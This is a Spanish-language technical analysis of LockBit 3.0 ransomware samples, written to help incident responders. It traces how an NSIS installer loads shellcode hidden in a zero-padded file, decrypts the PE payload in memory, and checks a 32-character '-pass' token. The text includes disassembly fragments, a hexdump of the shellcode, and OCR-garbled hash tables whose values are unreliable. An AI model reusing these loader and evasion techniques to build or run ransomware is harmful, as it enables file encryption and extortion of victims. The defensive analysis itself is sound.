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1. Sobre este estudio

Este estudio recopila las capacidades de las muestras analizadas del malware LockBit 3.0,
describiendo detalladamente la cadena de ejecucién de las muestras, incluyendo, ademas,
el andlisis comparativo de las mismas, con el fin de analizar sus diferencias.

El objetivo del estudio reside en facilitar la informacién necesaria para poder identificar las
caracteristicas propias de esta amenaza, su comportamiento y técnicas empleadas,
permitiendo asi una mejor identificacion y respuesta ante ella por parte de los equipos de
monitorizacion de seguridad, de gestion de incidentes y de analistas forenses.

Las acciones realizadas para su elaboracion han seguido una metodologia, cuyo analisis
se inicia en el instalador, y a partir de ahi se van a analizar las muestras derivadas conforme
van apareciendo. Asimismo, se detallan las técnicas antideteccion y antingenieria inversa
empleadas por LockBit, junto con al algoritmo de cifrado utilizado y los distintos parametros
de configuracion.

Ademas, se aportan los diferentes indicadores de compromiso (IoC) y las tacticas, técnicas
y procedimientos (TTP) para esta amenaza ransomware [16].
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2. Organizacion del documento

Este documento consta de una parte de 3.- Introduccion, en la que se expone brevemente
el origen y trasfondo del malware analizado, la metodologia de andlisis utilizada y las
principales caracteristicas de la amenaza.

A continuacion, en el apartado 4.- Informe técnico se recogen los resultados de los andlisis
realizados sobre las distintas muestras, tanto a nivel general como detallando paso a paso
el modus operandi de LockBit, aportando informacién sobre técnicas defensivas empleadas
por la amenaza, método de cifrado empleado y mas informacién.

Posteriormente, en el apartado 5.- C se aporta un pequefio resumen de los topics mas
importantes del estudio.

Finalmente, el apartado 6.- Referencias incluye las referencias consultadas a lo largo del
analisis.

Asimismo, el documento cuenta con varios anexos con informaciéon adicional:

B Anexo 1: Indicadores de compromiso (1oC).

Anexo 2: T4cticas, técnicas y procedimientos (TTP).

Anexo 3: Metodologia de herramientas utilizadas para el andlisis.

Anexo 4: Informacién sobre el builder de LockBit.

Anexo 5: Scripts de Python empleados para extraer datos de la amenaza.
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3. Introduccion

LockBit es una amenaza de tipo ransomware que opera como un servicio (RaaS),
comparte varias similitudes con el cédigo de otras familias de ransomware, como DarkSide
y BlackMatter, y se esta utilizando como herramienta de cifrado en la Ultima etapa de la
intrusién en una entidad, siendo las organizaciones afectadas principalmente del sector
publico y TIC.

Este malware, que surgié en septiembre de 2019 con una denominacion inicial de ABCD,
ha sido actualizado varias veces, siendo la version 3.0 la mas reciente en el momento de
realizacion de este analisis.

El alcance de este estudio esta delimitado al andlisis de dos muestras del ransomware
LockBit 3.0 dentro de un entorno controlado, focalizando el objetivo en intentar determinar
sus capacidades, sus configuraciones, los posibles puntos de persistencia, sus conexiones
de red y las principales técnicas de evasion.

Para tal fin se ha seguido la siguiente metodologia de analisis:

B Un analisis estéatico del cédigo de la amenaza, utilizando herramientas como PEstudio
y CFF Explorer para los ejecutables.

® Un analisis dindmico més detallado, ejecutdndose en un entorno controlado, utilizando
VirtualBox, IDA Pro, x64dbg y ProcessHacker. Con este andlisis se ha podido observar
Su impacto en un equipo, asi como extraer de la memoria, su configuracion y cadenas
mas caracteristicas, una vez se encuentra en ejecucion.

B  Un analisis del builder del ransomware que se filtré en Internet en septiembre de 2022.

Como caracteristicas principales de esta amenaza el estudio arroja la siguiente
informacion:

® Es altamente configurable.

Implementa técnicas antianalisis y de evasion.

Utiliza un algoritmo de resolucion dinamica de funciones (API).

Hace uso de un mecanismo de cifrado de los ficheros de la maquina objetivo.

Permite utilizar diferentes pardmetros para invocar el malware.

Implementa técnicas para evadir el UAC (User Account Control), y asi ejecutar el

malware como administrador.

Una de las muestras analizadas no requiere ningun token de acceso para llevar a cabo

el cifrado, otorgando la posibilidad de realizar despliegues desatendidos.

® Emplea métodos de doble y triple extorsion [15].

m Contrata a intermediarios, coopera con otros grupos de cibercriminales y recluta
insiders de las organizaciones atacadas.
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4. Informe técnico

4.1. Informacion general

La primera muestra analizada fue subida por primera vez a la plataforma VirusTotal el 2 de
septiembre de 2022. Este fichero seréd referenciado durante el andlisis como muestra 1.

Es importante advertir que la muestra presenta una fecha de compilacién de 2020 en su
formato NSIS, lo que puede llevar a pensar que esta podria ser antigua. Por el contrario, el
binario en formato PE que se genera a partir del proceso que se describe en la seccién 4.2,
tiene una fecha de compilacion de julio de 2022.

MD5 A7782D8D55AESFBFABBAAAEC367BESBE

SHA1 289F714F8E681B7C65BE53C63C0494D31B686EC?2

D21D6F469E87FFF24F15C3ABFBC2524E606E7F648B7D2FD4B600DD858E
D75063

SHA256

Tabla 1. Instalador malicioso (muestra 1)

En el overlay del ejecutable se puede encontrar que este esté firmado por Nullsoft, tal como
se muestra en la figura 1, lo que indicaria que el malware estd empaquetado con NSIS
(Nullsoft Scriptable Install System). Notese que, anteriormente, LockBit ha utilizado NSIS
para distribuir su malware [1].
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md3 4401 1FAE203AEBTASTIF2TOEFDATEARE
shal 82E6504CC016170052599C2TERFDERDS5B205BA2
sha23b ZEGEADTEFEA7434DD COEET2FFER63C5BAL7AARETEECOATZBFEODDDERA48234, .,
entropy 5.564
file-offset OreD002B200
cize 371205 (bytes)
signature Mullsoft
first-bytes-hex 04 00 0000 EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 6E 73 74 56 1F 00 00 03 A..,
first-bytes-text wwneneenoMullsoftinstV ..o o oo
file-ratio 67.76 %

Figura 1. Overlay LockBit 3.0 (Nullsoft)

NSIS es un software de cddigo abierto legitimo que permite crear instaladores de Windows
[2]. Este tiene un lenguaje de scripting que es ejecutado para realizar distintas tareas
durante la instalacién, como escribir archivos o activar claves de registro. Ademas, NSIS
tiene un sistema de plugins que permite extender el lenguaje de scripting con nuevas
funcionalidades.

Dentro del instalador se encuentran varios archivos.

1" | D C:\Users-'\[}esktop\ma |.bin'

MNombre Tamafic  Tamafic comp.. Moedificade Atributos  Método
SPLUGINSDIR 0 6862

D 68587236 362 747 2022-08-24 10013 Deflate

D [MSIS].nsi 9826 9826

Figura 2. Archivos dentro del instalador

El archivo “68587236”, con un tamafo de 191 MB, contiene un shellcode camuflado entre
multiples lineas de ceros, como se puede ver en la siguiente figura. Este fichero sera
referenciado durante el andlisis como muestra 1.1. Una de las razones de camuflar el
shellcode en un fichero de 191 MB es dificultar el analisis manual y automatico.
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OAS0E260 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  weeeereeeeeeenn.
OAS0E270 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00  weeeereereeeenn.
OAS0E280 00 00 00 00 OO OO0 00 00 00 00 00 00 00 00 00 00  wveeereeeeeeenn.
ORS0EZ50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  weeeereeeeeeenn.
OA9O0E2ZA0 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  eeeeeeeeeeeennn.
OA90E2BO 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  wveeereeeeeeenn.
OAS0E2CO 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00  weeeeeeeeeeeenn.
OAS0E2D0 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  weeeeveeeeeeenn.
OAS0EZE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  weeeereeeeeeenn.
OR90E2ZFO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  eeeeeeeeeeeennn.
ORSOE300 00 00 00 00 00 00 00 00 UC 00 00 00 00 00 00 00  ........ fooeian
OA90E310 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  eeeeeeeeneeennn.
OAS0E320 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  weeeereeeeeeenn.
OAS0E330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  weeeeeeeeeeeenn.
OAS0E340 00 00 00 00 OO0 OO0 00 00 00 00 00 00 00 00 00 00  weeeereereeeenn.
OAS0E350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  weeeeeeeeeeeenn.

OA90E360 55 53 8B EC 55 8B EC 23 EC 04 57 56 8B 45 08 2B US<iU¢ifi.WWE.«
OAS0E370 75 0OC 8B 7D 10 8% 7D FC 01 75 FC 03 45 FC 5E SF wu.«<}.wld.ud.Ed™
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OAS0E3BO 00 OO0 OO0 85 04 24 8B 1C 24 43 35 OB 75 FBE BB 4B ELSe LS00 ulc K
ORS0E3CO 04 89 4C 24 04 S5 4B 08 89 4C 24 03 83 C3 0C 29 .GLS.«E.LLS.FA.%
OARSOE3ID0 5C 24 OC 33 DB SE 54 24 OC 8B 12 33 D3 32 54 24 \5.30¢TS5.¢.30:TS
OAS0E3EQ 08 74 03 43 EB EF 89 5C 24 10 90 90 90 2B 54 24 .C.CEiw\S....«T%
ORGOE3IF0 OC 332 CO6 21 1C OR 3B 4C 24 04 7D 11 83 C1 04 EE  .3E1..:LS.}.FA.E
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OL90E450 T4 CO BE 42 §6 01 35 17 66 6E EE 93 DB 77 02 th%B}f.5.fn&"lw.
ORS0E460 8B 0D 2E 05 AT BD 17 &2 FD 12 25 20 2F 7E TB AD «<...8=.¢¥.) /~{.
OL90E470 48 79 A5 00 96 91 4C 04 B2 14 DO 24 D5 L8 CE 75 Hy¥.—- L.=.0s0 1n

AROOATADN ETv 1T®™ O AA 1T T TT14A T TR T On TR OC STy OO — T WA TTaTT..T r

Figura 3. Shellcode oculto en la muestra 1.1

6191CEEO020491EC6F876499AD967581B

6079BCA94F0C897ED8D05B53B5D3847BDCOE301D

40ECC89F14FEBBB7A527310EEEC275B7329BEOE493C290CC153F357D346
E6D81

SHA256

Tabla 2. Shellcode (muestra 1.1)

En la carpeta $PLUGINDIR podemos encontrar el archivo System.dll.

Tamafic  Tamafic comp... Medificado Atributos  Métedo Compacto  Desplazamiento Directorios Ficheros

6862 Deflate - 362751

Figura 4. Contenido de la carpeta $SPLUGINDIR
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Este es un plugin legitimo que permite llamar a cualquier funcién exportada desde cualquier
DLL, liberar y copiar memoria, interactuar con objetos COM (Component Object Model),
etc. [3]. Sera utilizado por los atacantes para descifrar y ejecutar los contenidos de la
muestra 1.1. Este fichero sera referenciado durante el analisis como muestra 1.2.

FCCFF8CB7A1067E23FD2E2B63971A8E1

30E2A9E137C1223A78A0F7BOBF96A1C361976D91

S1plaVASGEE 6FCEA34C8666B06368379C6C402B5321202C11B00889401C743FB96C516C679E

Tabla 3. Plugin legitimo System.dll (muestra 1.2)

Una vez ejecutado el instalador, se encuentra en memoria un codigo ejecutable con
formato PE. Este es el payload final de LockBit. Este fichero sera referenciado durante el
analisis como muestra 1.3.

S1plavAsol DDA32EC3F09841E99B93F7C92EE4378B516C9399475F70D39EBD38066AC257D1

Tabla 4. Muestra de LockBit sin token de autentificacion (muestra 1.3)

La fecha de compilacién de la muestra 1.3 en su cabecera PE es de julio 2022, como se
puede ver en la figura 5.

subsystem Lyl
compiler-stamp 0x62CFEFF5 (Thu Jul 14 10:29:09 2022 | UTC)
debugger-stamp 0x62CFEFF5 (Thu Jul 14 10:29:09 2022 | UTC)

resources-stamp

imnart.ctamn

Figura 5. Fecha de compilacion de la muestra 1.3

Este archivo guarda bastante relacion con las muestras de LockBit 3.0 que se encuentran
en el report de TrendMicro [4]. Ambas muestras mantienen las mismas secciones y tienen
la entropia similar y el entrypoint en “.itext”.
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B8 Entropia - O X

Desplazamiento Tamano Contar Tamario
a Recargar
PE32 00000000 0002b000 100 < 000006e1

Total

6.98459 quetado(87%) Guardar Guardar diaqrama:

Regiones
esplazamient  Tamaro Entropia Estado Nombre
00000000  0DO0D400 1.96305 no empaquetado PE Cabecera
00000400 0001700 6.51005 empaquetado Seccion(0)[" text']
00018200 00000600 6.13630 no empaquetado Seccion(1)['itext']
00018800 00000600 6.14473 no empaquetado Seccién(2)['.rdata']
00018¢00  0D00ad00 7.17299 empaquetado Seccion(3)['.data’]
00022e00 0000300 6.65885 empaquetado Seccién(4)['.pdata’]

Figura 6. Entropia de la muestra 1.3

Durante el andlisis de la muestra 1.3 se han podido observar diferencias con los ultimos
informes publicos acerca de la familia de malware LocktBit 3.0. La principal diferencia es
que el malware no requiere de un hash como clave para poder ejecutarse de manera
correcta. Otro de los aspectos destacables es que no se ha observado persistencia, ni
tampoco conexién con dominios o IP en su configuracion, hechos que podrian hacernos
pensar que se trataria de una muestra previa de este malware.

Al presentar un comportamiento diferente a los descritos en publicaciones recientes,
también se ha analizado una muestra similar a las documentadas, con el objetivo de
analizar las diferencias con la muestra 1.3 y documentar todos los aspectos que se
consideren relevantes. Este fichero sera referenciado durante el analisis como muestra 2.

Algoritmo ‘Hash

MD5 64E58CACO3F6C4147CEC0605884145C4

SHA1 48F9649AB56406C8405281E233614EA76F2A5985

770CBA5F9761FCBD3ECDE42D843E62DBI9CDD964E35ECAE94CDB16446485
3EOEB

SHA256

Tabla 5. Muestra de LockBit con token de autentificacion (muestra 2)

Finalmente, durante el estudio se encontraron otros informes, donde se analizaban
muestras que utilizaban la misma contrasefia que la muestra 2. Por ello, se ha comparado
esta con otra muestra ya conocida que utiliza el mismo token. Este fichero sera
referenciado durante el andlisis como muestra 3.
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SlplivAs SR 8OESDEFA5377018B093B5B90DEOF2957F7062144C83A09A56BBA1FE4EDA932CE

Tabla 6. Muestra de LockBit con mismo token de autentificacion (muestra 3)

Tras realizar un analisis comparativo de la muestra 2 con la 3, se puede observar que las
funciones utilizadas son iguales, por lo que es posible que ambas pertenezcan a la misma

campana.

O Matched Functions O &8 x O statistics O & x| O primary Unmatched o & W secondary Unmatched O & x

Similarity  Confid Change  EA Primary Name Primary ~|| Name Value ~|l Ea Name EA Name

1.00 099 e 0040104C sub_0040104C flowtGraph edges 5. 0 00418000 sub_00418000 00414004 _imp_SetLastError

1.00 099 - 00401000 sub_004010D0 flowGraph edges s... 5612 0041B0AC sub_0041B0AC 00414008 _imp_LoadLibraryW

1.00 089 -eeme 00401120 sub_00401120 function matches .. 13 0041B0EC sub_DO41B0EC 0041201C _imp_GetAtomNar

1.00 089 -eeme 004011A0 sub_004011A0 function matches .. 312 00418124 sub_D0418124 00414028 _imp_CreateMenu

1.00 089 -eem- 004011E4 sub_004011E4 functions primary .. 24 004181CC sub_004181CC 0041402C _imp_DefWindowPr

1.00 099 - 00401284 sub_00401284 functions primary .. 321 0041B1E8 sub_DD41B1E8 0041403C _imp_LoadimageW

1.00 099  ---m- 00401424 sub_00401424 functions seconda... 23 00418248 sub_00418248 00414044 _imp_CreateDIBitm:

1.00 099 ---me 004017D0 sub_004017D0 functions seconda... 312 00418204 sub_004182D4 00414058 _imp_GetTextColor

1.00 099 ---me 00401954 sub_00401954 instruction match... 0 004182E4 sub_004182E4 0041405C _imp_GetTextCharse

1.00 099 - 00401488 sub_00401ABS instruction match... 24548 0041008 _imp_GetTickCount 00414060 _imp_BitBlt

1.00 089 -eeme 0040754C sub_0040754C instructions prima... 0 0041C00C _imp_GetProcAddress

1.00 089 -eeme 004075AC sub_004075AC instructions prima... 26709 0041C014 _imp_GetlocalelnfoW

1.00 089 -eem- 004075F0 sub_004075F0 instructions secon... 0 0041018 _imp_GetCommandLineA

1.00 099 - 0040784C sub_0040784C instructions secon... 24910 0041030 _imp_GetDlgltemTextW

1.00 099  ---m- 00407830 sub_00407890 basicBlock: MD in... 30 0041038 _imp_GetMessageW

1.00 099 - 004078DC sub_004078DC basicBlock: call ref.. 49 0041C03C _imp_LoadMenuW

1.00 099 - 00407340 sub_00407940 basicBlock: edges .. 1 0041C040 _imp_DialogBoxParamW

1.00 099 004079A8 sub_004079A8 basicBlock: edges .. 3 0041C044 __imp_CreateWindowExW

1.00 0.99 00407C5C sub_00407C5C basicBlock: edges .. 224 0041C04C __imp_GetClassNameW

1.00 0.99 00408254 sub_00408254 basicBlock: edges .. 3482 0041C060 __imp_SelectObject

1.00 099 - 00408408 sub_00408408 basicBlock: entry p... 1

1.00 099 - 004084DC sub_004084DC basicBlock: exit po... 1

1.00 099  ---m- 0040851C sub_0040851C basicBlock: hash.. 141

1.00 099 ---me 00408720 sub_00408720 basicBlock: prime ... 37

1.00 09 00408774 sub_00408774 basicBlock: propa... 5

1.00 g —— 00408834 sub 00408894 function: MD inde... 3

1.00 089 -eeme 00408874 sub_00408BF4 function: MD inde... 26

1.00 099 00408C9C sub_00408C9C function: address s... 17

1.00 0.9 00408D40 sub_00408D40 function: call refer... 31

1.00 0.99 00408098 sub_00408D98 function: call sequ... 1

1.00 0.99 00408DFC sub_00408DFC function: edges ca.. 88

1.00 099 - 00409328 sub 00409328 function: edges flo... 82

1.00 099 ---me 0040937C sub_0040937C function: hash ma... 34

1.00 ME === 00409450 sub_00409450 function: name ha... 26

1.00 089 -eeme 00409DD0 sub_00409DD0 function: prime si., 17

1.00 089 -eeme 0040938 sub_00409F38 Confidence 0990845

1.00 Mg 0040AAB0 sub_0040AA50 v || Similarity 0972719 v

< > |l > |l < >
] Line 1 of 47

Figura 7. Analisis comparativo entre la muestra 2 y la muestra 3

4.2. Analisis detallado

En este apartado se muestra un analisis detallado de las diferentes muestras descritas en
los apartados anteriores. El analisis se inicia en el instalador, y a partir de ahi se van a
analizar las muestras derivadas, conforme van apareciendo.

Tal y como se indicé previamente, la muestra 1 actia como instalador, siendo posible
ejecutar sobre ella la aplicacion 7z (version 15.05) para extraer el contenido del ejecutable,
junto con el script de NSIS.

En primer lugar, el script “[NSIS].nsi” inicia la extraccion del archivo “68587236” (muestra
1.1) en la carpeta %TEMP% y lo abre en modo lectura. Ademas, genera una carpeta
temporal que sigue la siguiente expresion regular: “ns[a-z][A-F0-9]{3}.tmp”, donde
almacena la libreria legitima “System.dll” (muestra 1.2).
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allDir $TEMP
; wininit = $WINDIR‘\wininit.ini

LonInit
*ath $INSTDIR

Iva]

=]
=
W5 A A
[

~J

L% o I = [y e By |
a o
= ]

Mm T

Figura 8. Copia de la muestra 1.1 a la carpeta % TEMP% en el script de NSIS

Después, obtiene la ruta del archivo “68587236”", mediante una llamada a la funcién
“wsprintf”. Esta funcibn toma como pardmetros la cadena de control de formato
“%s/68587236” y la variable “0”. Esta ultima es una variable especial de la libreria
“System.dll”, que permite obtener la ruta del fichero de instalacion [3].

m::Call user32::wsprintf(p r
Call Initialize Plugins
File $PLUGINSDIRMSystem.dll

SetDetailsPrint lastused

sh us wsprintf{p rs,
CallInstDLL $PLUGINSDIRM\System.dll Call

Figura 9. Argumentos de la funcién wsprintf para obtener la ruta

Type Meaning
ignored
number concrete hex, decimal or octal integer value. several integers can be or'ed using the pipe symbol (')
'string"
"string” concrete string value
“string”

r0 through r9 S0 through $9 respectively

r10 through ri9
RO through R9

c SCMDLINE

SINSTDIR

SOUTDIR

SEXEDIR

SLANGUAGE

NSIS stack

null for source, no output required for destination

RO through $R9 respectively

= p o 0 Q

Figura 10. Variables especiales del plugin System.dll

A continuacion, se abre el archivo en modo lectura con la funcion “CreateFile”. Ademas, la
funcion utiliza la variable “dwCreationDisposition” con valor “OPEN_EXISTING”,
deteniendo la ejecucién del programa si el archivo no existe.

Figura 11. Funcion CreateFile en el script de NSIS
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A continuacion, con la funcion “NtCreateSection” se crea una secciébn en memoria en la
que se cargan los contenidos del archivo “68587236”. Posteriormente, mediante

“NtMapViewOfSection” mapeara esta seccién de memoria en el proceso.

JLL $PL
11 ntdll::N
1 Initial

r2, i BxE, B, ; i ex4e,

m.dll Call

Figura 12. NtCreateSection y NtMapViewOfSection en el script de NSIS
Con la funcién “ReadFile” se mapean los contenidos del archivo “68587236” a la seccion

de memoria creada anteriormente y, sumando unas constantes al puntero, se obtiene la
posicion del shellcode en memoria.
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Figura 13. Funcion ReadFile en el script de NSIS

Por ultimo, el programa formatea la direccion de memoria de la siguiente forma: “::<addr>".

Esto permitira al plugin System ejecutar un shellcode alojado en dicha direccion.
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File $PLUGINSDIR\System.dll

tDetailsPrint lastused

$PLUGINSDIR\SY

Tl et

$PLUGINSDIR\SY

) Print lastused

$PLUGINSDIR\S

$PLUGINSDIR\ tem.dl]
{ lastused

SPLUGINSDIR\SY
$PLUGINSDIR\System.dl]
lastused

$PLUGINSDIR\SY

Figura 14. Creacion de la direccién de memoria en el script de NSIS

Llegado este instante es cuando se da paso a la ejecucion del shellcode en memoria.

debug@&@: BDBBE3E8 push ebp
debug@8@:BDBBE3EL push ebx

debug@s@:0DBAE362 mov ebp, esp
debug@8@: @DOBE3E4 push ebp
debug@sa: BDBBE365 mov ebp, esp
debug@8@: @DEAE3ET sub esp, 4

debugB8@: BDBBE3IEA push edi
debug@8@:BDBBE3IEE push esi

debug@B@:@De8E36C mov eax, [ebp+d]

debug@sa: @DBBE3EF mov esi, [ebp+8Ch]

debug@8@: @DOBE372 mov edi, [ebp+léh]
debugB8@:BDBBE3TS mov dword_FFFFFFFC[ebp], edi
debug@8@:BDAAE3TE add dword_FFFFFFFC[ebp], esi
debug@8@:@DEAE37E add eax, dword_FFFFFFFC[ebp]
debug@8a:@D@AE3VE pop esi

debug@8@: BDERE3TF pop edi

debugB8@: BDBBE38E mov esp, ebp

debughse: BDBBE3E2 pop ebp

debug@8@:@DBAE3E3 jmp short loc_D@BE391

Figura 15. Inicio del shellcode

Una vez se inicia la ejecucion del shellcode, vemos que comienza a cargar varias funciones
de las librerias “kernel32.dlI” y “advapi32.dll”.
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T . . : kernel32.d11:kernel32_GetThreadContext
advapisz.dll:advapi32 CryptAcquireContextid kerne132.d11:kernel32 SetThreadContext
dd'u'd[.l 132.d11: advapi!l! Cr};ptcreatEHagh kernel32.d1l:kernel32_VirtualAlloc
g s ernel32. tkernel32 VirtualAllocEx
advapi32.dll: advapﬂi:c ryptHashData kerneLin. 411, kernel32 MeLteProcessimory
advapi32.d11:advapi32_CryptDerivekey e e el
advapi32.dll:advapi32 CryptDestroyHash kernel32.¢11:kernel32 ExitProcess
aduapiaz d11: ad'ura 132_4: tDec t kernel32.dll:kernel32_ReadProcessMemory
. H kernel32.dll:kernel32_getModuleFileNameW
. . pr = r}fp r}fp kernelSZ.dll:kerﬂel32:GEtC0mandLinE'nl
advapi32.dll:advapi32 CryptDestroyKey ntd1l.d11:77E73C20
advapi32.dll:advapi32_CryptReleaseContext e T
- kernel32.dll:kernel32_IsWows4Process
kernel32.dll:kernel32_GetModuleHandleW kernel32.d11:kernel32_CreateFilew
kernel32.d11l:kernel32_GetProcAddress T 11 kel s et Lesize
. kernel32.d11:kernel32_VirtualF
kernel32.dll:kernel32 WaitForSingleObject herneiiaz i1 bereloz ) ot AErorph
kernel32.dll: k:rn=]32 Ergat:Thrgad kernel32.dll:kernel32_LoadLibraryW

Figura 16. Librerias cargadas en el shellcode

Seguidamente, el shellcode comienza a utilizar las funciones de “advapi32.dll’ para
descifrar el ejecutable en formato PE (muestra 1.3), como se aprecia en la figura 17. Este
artefacto presenta un tamafio de 172 KB, que sera guardado en una seccion de la memoria.

— o p—— g o  —
Key MU Softwar e \Omases Loc Settngs .

Key oy ’ . ~
Yoy MAMSYSTEM \Controfe t00 1 \Controf M \Sor g ds 0 b8 " 0 A 60 00 00

Key HKCQU Softmare \Classes 0 00 0 0 00000 cokiornrsnnanies
Yy MUCR W04 ) 0de \CLSIO | {BABFCC A OBIC AN 80 0 0 00 00 &0 00 0 0 0 M

ey MCU Software \Classes 0 O fe 0 ‘ b 01 4c cd

Key HAMBOFTWARE WOWSA)Node Mo oso t Wrdoss \Ci en LU O S

Key MU Software \Classas ?

Yoy MOU \Sofwar e \Classes

Key HAMSYSTEM ControSetD0 1 \Control s \Custontocale

ey HOUSOFTWARE Wacr oso U Andows \Ourrent ersion

Key MOV \SOFTWARE Wicroso ft UV Indows NT\Currentversen

Mitant Venworn | 1 BaseNamedObjects (M3 ) 706 168: Wik tagn

Mutant Wessiors |1 BasetlamedObjects GMO: 7044 Wilirer _0

Process locba exe (3656)

Secten Vansors'| 1 DasefamedObiects Windows _shel_gebal_co

Secton PasetiamedObjects|_ ComCatsogCache

Secton PasehamedObjects|_ ConCatsbogCache

Secson FaselamedObjects windows_shel_giobal_counters

; SO I

ﬂ Commé (172 k) |

Semeptore “Gesmors |11 L gy

Semaphore Gessors |1 \BaseNamedObjects SM: 172664/ WiErer 0

Mrend b eve (3696); 504 v 4 00 0

< >

42 0

Figura 17. Payload cargado en memoria

Se puede observar cOmo crea, a continuacion, un proceso suspendido y un hilo mediante
las funciones “CreateProcess()” y “CreateThread()” de “kernel32.dlI".

"t PIEIDN (D i YT (G LA 110 s AT P AT 1V
Mutant \Gessions|1\BaseNamedObjects\SMO: 3776:64:WilError _03
Process lockbit.exe (3696)
Section \Sessions\1\BaseMamedObjectswindows_shell_global_counters
Easkam IBnrakineasdfibiastal Pamfebslas s

v M7 lockbit.exe

db,

Figura 18. Creacion de un proceso hijo
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SeEmapnore WESSIONS |1 PasenNamequUDJeCcTs wIvIU: 53/ /00 100 wWibtaging_uv<s_pu
Semaphore \Sessions\1\BaseNamedObjects\SM0: 3776:64:WilError _03_p0
Thread lockbit,exe (3696): 584

WindowStation \Sessions\1\Windows\WindowStations\WinSta0
WindowStation \Sessions\1\Windows \WindowStations\WinSta0

Figura 19. Creacion de un hilo

Tras terminar el shellcode, se inicializa el hilo y comienza a ejecutarse el ransomware. El
cbdigo malicioso funciona como punto de entrada para ejecutar el nuevo malware que se
encontraba en memoria.

Este nuevo binario tiene su punto de entrada en la seccién “.itext”, donde, ademas, dispone

de dos funciones interesantes. Estas ejecutan cédigo en la seccion “.text” para comenzar
la ejecucion en “.itext”.

Jtext:@841946F start:

Jdtext:8041946F nop

Jitext: 08419478 nop dword ptr [eax+eax+88h]
Ldtext: 88419475 call nullsub 1

Jdtext: 08419474 xchg ax, ax

Jitext:8841947C call sub_486398

Ldtext: 88419481 nop dword ptr [eaxteaxt+B2008808hH ]
.dtext: 88419489 call sub_ 489988
Jitext:8841948E nop

Ldtext:0841948F call sub_417458

Ldtext: 88419494 nop word ptr [eax+eax+86h]
Jdtext: 88419494 push @

Ldtext:ee41949C call dword_4255C8

Ldtext: 98419442 nop dword ptr [eax]

Figura 20. Punto de entrada de la muestra 4

Jdtext:e@41B46F start:

.itext:8841B46F nop

Litext:0841B470 nop dword ptr [eaxteax+@8080888h ]
Litext:8841B478 call sub_41B688
Litext:8841B47D nop dword ptr [eax+28h]
Litext:8841B451 call loc_4@8254
.itext:0841B486 xchg ax, ax

Litext:2841B488 call sub_48B304
Litext:2841B48D nop dword ptr [eaxteax+@@h]
Litext: 08418492 call loc_418F78

Litext: 08418497 nop dword ptr [eaxteax+280208880h]
Litext:8841B49F push <]

Litext:ea41B4A1 call dword_4275C8
.itext:8841B4A7 nop dword ptr [eaxt+eeeeeesah]
.itext:@841B4AE call sub_41A8FC
.itext:8841B4B3 call sub_41A8DE
.itext:0841B4B8 call sub_41A982
.itext:8841B4BD call near ptr loc_41ABE3+1
Litext:8841B4C2 call sub_41A8D8
Litext:8841B4C7 call sub_41A982
Litext:@841B4CC call sub_41A8F6

Litext: 88418401 call near ptr loc_41A%87+1
.itext:8841B406 call near ptr loc_41ABEF+1
.itext:8841B40E call sub_41A3DE
.itext:@841B4E0 call near ptr loc_41ABE&+2
Jitext:@@41B4ES call sub 41ABFC

Figura 21. Punto de entrada de la muestra 2
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3 Section 2. (virtual address eeeloeee)
; Virtusl size 1 BRERES4A ( 1354.)
; Section size in file : peegecoe ( 1536.)

; Offset to raw data for section: @@e2l32ee
Flags 6@@@BE28: Text Executable Readable
Alignment : default

; Segment type: Pure code

3 Segment permissions: Read/Execute

_itext segment para public 'CODE' use32

assume cs:_itext

;org 419a@sh

assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:neothing

nullsub_1 proc near
retn
nullsub 1 endp

Figura 22. Primera funcion (nullsub_1) de la muestra 1.3

sub_418000 proc near

var_37C= byte ptr -37Ch
var_174= byte ptr -174h
var_64= dword ptr -64h
var_6@= byte ptr -60h
var_46= byte ptr -4h

push  ebp

mov ebp, esp

sub esp, 37Ch

push  ebx

push  esi

push  edi

lea ebx, [ebphvar_37C]
mov ecx, BBEBC2@@h

loc_418017:
loop  loc_s18817

ol e =

call sub_41B2E4

push  ebx

push  eax

call  sub_418248

test eax, eax

jz short loc_4186A2
— T0

Figura 23. Primera funcion (sub_41B000) muestra 2

La principal diferencia que tienen las muestras 1.3 y 2 es que la primera funcion cambia.
Esta primera funcion “nullsub_1”, que se puede ver en la figura 20, solo contiene en su
interior la operacion return( figura 23).

En cambio, en la muestra 2 esta funcién “sub_41B000” realiza la rutina de descifrado a
partir del token de acceso, una contrasefia de 32 caracteres.

Este token es introducido a través del parametro “-pass”, como se puede ver en la figura
24.

sample.exe 23ab2abcb9957 fb0led50cdfaba

Figura 24. Comando necesario para ejecutar la muestra 2

Para el ejemplo de la figura 25 el malware calcula el hash de la palabra “-pass” con el
algoritmo de hashing ROR13 y lo compara con unas constantes almacenadas en el propio
binario, como se puede ver en la figura 26.
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loc_41B8D3:
add dh, <1
sub dh, cl
mov ecx, eax
ror edx, cl
add edx, eax

test eax, eax
short loc_41B@BA

mov eax, edx
pop esi
pop edx
pop ecx
pop ebp

HASHING_WORD endp

Figura 25. Algoritmo de hashing

.itext:8841B275 lea eax, [ebp+var_54]
.itext:@8@416276 push eax

.itext:8841B286 jnz short loc_41B2B6
itavt - BALTRIRR

Figura 26. Comparacion de parametros

A partir del token de acceso se genera una contrasefia de 192 bits. Este comportamiento
se ha emulado con un script de Python que se encuentra en el anexo 5.

p—
PIZE
loc_41B3@5:
lodsd
bswap  eax
ror eax, @0h
mov edx, eax
not edx
lodsd
rol eax, @Bh
bswap  eax
xor eax, edx
stosd
lodsd
rol eax, 9
bswap  eax
mov edx, eax
not edx
stosd
lodsd
rol eax, 7
bswap  eax
xor eax, edx
mov edx, eax
not edx
stosd
rol eax, 5
xor eax, edx
stosd
lea esi, [edi-18h]
dec ebx
test ebx, ebx
jnz short loc_41B385

—IH

